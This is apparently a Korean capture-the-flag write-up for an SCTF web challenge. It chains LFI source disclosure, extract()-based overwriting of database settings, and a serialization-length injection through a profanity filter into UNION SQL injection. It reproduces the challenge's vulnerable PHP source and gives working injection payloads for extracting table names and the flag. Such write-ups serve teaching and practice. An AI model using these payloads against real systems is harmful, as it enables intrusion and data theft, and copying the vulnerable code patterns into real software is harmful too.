Attack - Letter To Me(300 pts)
![](https://lh6.googleusercontent.com/SwLP8zR_c2W1rQ0VyFrISWfaZtpcywfSiGMlLhnfX_LjFw68b-9VOjCdJHCh1NjH5vm1jkxCveK84VikXMws9b9SedWf8eRDWompwHS6rK09ik4kmfIuWet8dxUGVmG86-GWNGgJ)
문제를 살펴보면 플래그는 DB 안에 있다는 힌트가 있으며, sql 파일과 서버 주소를 던져줬다.
sql 파일을 살펴보면 아래와 같다.
![](https://lh3.googleusercontent.com/wsUm1Fa_7Zv6qEOD-1eumZAViI_9aL02igliuZ9IKehhYrKbuFVaKdLxaVYnm1ayeswiENoE5fXGZZvNocElc0ZLK1jk4DvNgCu7TpNDDJAmotFVattCPlpEckv9E64JI8_m0m7U)
![](https://lh6.googleusercontent.com/V_LHsPX5GILO8_MF0LvVVMxIqxT_0G6Z0bChwhvxIiBHGYn6BiTjhCh2w4esygdX434gdOTu_JJ0J919iB-Pf2bA2lSfeNF0b130fLW7_aCduOdCuIMnmhBGJbCjNALavK97X9gb)
메인 페이지는 위와 같다. login페이지와 register 페이지가 있는 것을 확인 할 수 있다.
![](https://lh6.googleusercontent.com/6Fb3x98IIrHlKaWcbZiPMQ-ixbL6F7RP7V__iY1p4h7nJ9a_IwDv9Y1jcS8oA0b--0qIaZk_lYgcCko36Qlcmkx5LpniIoO_93Ku_fT_CQL-8fJZnF1N4deuU-JQYW0MZZUtmJfS)
register 페이지의 경우 관리자에게 문의하여 로그인하라는 메시지가 나온다.
![](https://lh4.googleusercontent.com/BMEj6hKA27GzuK494VzCBNUdx2UBle0ErHWp7MxtNqGvmmycKu4Hx2NOQcMdEfYhfwtN6XAPa6v321bPFu7j1yaG-d20STZwL9P7N_G6tNujYqt_kb2Bpo1fxtSWswePQ-bUfrQF)
관리자에게 연락 할 수는 없기 때문에 page 파라미터에서 발생하는 LFI 취약점을 이용하여 PHP Wrapper로 페이지 소스를 긁어온다.
![](https://lh6.googleusercontent.com/3F9ylTCuUd42hQiaYbeWC7pKkKmOvP-E8yuiho3IvFArz1kuyv3zmw4EDnP0mWdOgZEhPafL-fGRLFUxQ3KOj5NaofHAkevqhsiSfltgBH3R9Z-t-typNpN01MEkvmUvAt9hln8c)
index.php를 살펴보면 conn.php를 include 한 이후 extract로 GET과 POST 파라미터를 변수화 시켜준다. 이 때 conn.php 안에 있는 db 정보를 변경할 수 있기 때문에 문제 페이지에서 받았던 SQL 테이블 데이터를 외부 서버에 생성 후 연결하여 admin으로 로그인 할 수 있다.
![](https://lh4.googleusercontent.com/Dk7c8kp_DLcdFYpSPZ_CnGPNnWX4PacjN3uWnOjdljzkxMTNTH9udWu3-VAsdXIRYcpsKvrH9twW3ErLkFT-WCueYyxWsPFlxG4LugHVY_yp1BTQgYgHFuqgu7fW6NkE2agFFYfG)
이 때 로그인 이후에는 위와 같이(login.php) 문제 서버의 세션으로 로그인이 유지되기 때문에 로그인 상태를 유지 할 수 있다.
![](https://lh6.googleusercontent.com/hShhRy8GDbrbk09oW98iqHiEPxXLYEq8ySX-GFy6yR68C7t6WJTu0pZIbwU7vA645-J0pkDc6BWzqYHzw_0adhSMdjSJ74Z1oD3UZm9o71gcTYK5gGtSmhbvbI-HQ9h8yamLbrK_)
위는 admin으로 로그인 한 후의 상태이다. 사용자를 초대 할 수 있으며, 해당 계정으로 접속 시 메시지를 자신에게 보내고 받을 수 있는 send.php와 show.php에 접근 할 수 있다.
<?php function generateRS($length = 64) { $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $charactersLength = strlen($characters); $randomString = '';
$urandom = fopen("/dev/urandom", "rb"); for ($i = 0; $i < $length; $i++) { $randomString .= $characters[ord(fread($urandom, 1)) % ($charactersLength - 1)]; } return $randomString; }
if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "") { die("Nope!"); }
require "models.php"; if(isset($letter)) { $note = new note(); $note->user = $_SESSION['user']; $note->letter = $letter;
if($_FILES['file']['size'] > 0) { if($_FILES['file']['size'] > 30) { echo "too big"; } else if($_FILES['file']['error'] > 0 || !is_uploaded_file($_FILES['file']['tmp_name'])) { echo "error1"; } else { $uploadfile = "/var/www/html/uploads/".generateRS(); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { $fname = $_FILES['file']['name']; $note->addfile($fname, $uploadfile); } else { echo "error2"; } } } $note->add(); } ?> |
send.php
<?php if(!ISSET($_SESSION['user']) || $_SESSION['user'] === "admin" || $_SESSION['user'] === "") { die("Nope!"); }
require "models.php"; $user = $_SESSION['user']; $user = mysql_real_escape_string($user); $DB->execute("select data from notes where username=\"${user}\""); $notes = $DB->fetch_all();
foreach($notes as $note) { $note = unserialize($note);
echo "<br>"; $letter = $note->letter; $info = $note->resolve_file(); echo "<div class=\"container\">"; echo "<blockquote>"; echo "<p>${letter}</p>"; if(isset($info)) { $path = $info[1]; $name = $info[0]; echo "<footer>Attached file: <cite title=\"Source Title\"><a href=\"".$path."\" download=\"".$name."\">file</a></cite></footer>"; } else echo "<footer>Attached file: None</footer>"; echo "</blockquote>"; echo "</div>"; } ?> |
show.php
<?php class db { public $conn, $res; function __construct() { global $servername, $username, $password, $db_name; $this->conn = mysql_connect($servername, $username, $password) or die("connect error"); mysql_select_db($db_name); }
function execute($query) { $this->res = mysql_query($query) or die("SQL ERROR"); }
function fetch_all() { $res = array(); while($row = mysql_fetch_row($this->res)) { echo $row[0]; array_push($res, $row[0]); } return $res; }
function fetch_arr() { return mysql_fetch_array($this->res); }
function fetch_one() { $res = mysql_fetch_row($this->res); return count($res) > 0 ? $res[0] : NULL; }
function get_auto_incre() { return mysql_insert_id(); }
};
$DB = new db();
class note { public $user, $letter, $attached_file;
function addfile($realname, $filename) { global $DB;
$realname = mysql_real_escape_string($realname); $filename = mysql_real_escape_string($filename);
$DB->execute("insert into files values (NULL, \"${realname}\", \"${filename}\")"); $this->attached_file = $DB->get_auto_incre();
}
function add() { global $DB; $str = serialize($this); $str = $this->filter($str);
$user = mysql_real_escape_string($this->user); $str = mysql_real_escape_string($str); $DB->execute("insert into notes values (\"${user}\", \"${str}\")"); }
function filter($str) { global $profanity_word_replace; $filter_word = array("s**t", "f**k", "as*", "bi**h", "H**l"); foreach($filter_word as $word) { $replace = str_repeat($profanity_word_replace, strlen($word)); $word = preg_quote($word); $str = eregi_replace($word, $replace, $str); } return $str; }
function resolve_file() { global $DB; $id = $this->attached_file; if($id) { $DB->execute("select realname, path from files where id=${id}"); return $DB->fetch_arr(); } return NULL; } };
?> |
models.php
위 3개의 소스는 이 문제의 핵심인 send.php, show.php, models.php이다. models.php의 경우 index.php를 제외한 거의 대부분의 소스에서 include 하고 있는 소스이며, DB 관련 작업을 처리하는 함수의 정의가 담겨 있다.
send.php에서 파일을 업로드 할 경우 models.php에 정의되어있는 addfile 함수에서 DB에 파일 경로를 넣어준다. 또한 하나의 파일이 추가될때마다 자동으로 파일의 인덱스를 늘려주는 get_auto_incre 메소드를 사용하고 있다.
그리고 add 함수에서 사용자 이름과 해당하는 메시지를 저장하는데, 메시지를 저장할 때 serialize 함수를 이용하여 시리얼라이징 하며, filter 함수를 이용하여 유해 문자를 필터링 한다. 이 때, 시리얼라이징 이후 필터링을 거치기 때문에 s:4:”f**k”와 같이 시리얼라이징 되었을 경우 profanity_word_replace에 설정된 값만큼 4번 반복되어 값이 들어가진다. 현재 이 변수에 설정된 값은 conn.php에 ‘*’로 지정되어있으며, 이는 곧 f**k가 ****로 필터링 된다는 뜻이 된다. 하지만 extract 함수를 index.php에서 사용하고 있기 때문에 profanity_word_replace 변수의 값은 임의로 바꿀 수 있으며, 이를 이용하여 unserialize 함수를 사용하여 시리얼라이징을 해제, 객체화 할 때 취약점이 발생할 수 있다.
# table name f**k";s:13:"attached_file";s:119:"1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0, 1) limit 1, 1";}
# column name f**k";s:13:"attached_file";s:127:"1 union select 1,(select column_name from information_schema.columns where table_name=0x4c544f4d5f466c3367 limit 0,1) limit 1,1
# flag f**k";s:13:"attached_file";s:68:"1 union select 1,(select flag from LTOM_Fl3g limit 0,1) limit 1,1 |
위와 같이 msg부분에 입력해주고, 전체 길이만큼 dummy byte로 채워지도록 profanity_word_replace를 재설정 한 후 요청하면 각각에 해당하는 결과를 얻을 수 있다
FLAG : SCTF{Enj0y_y0ur_0nly_life}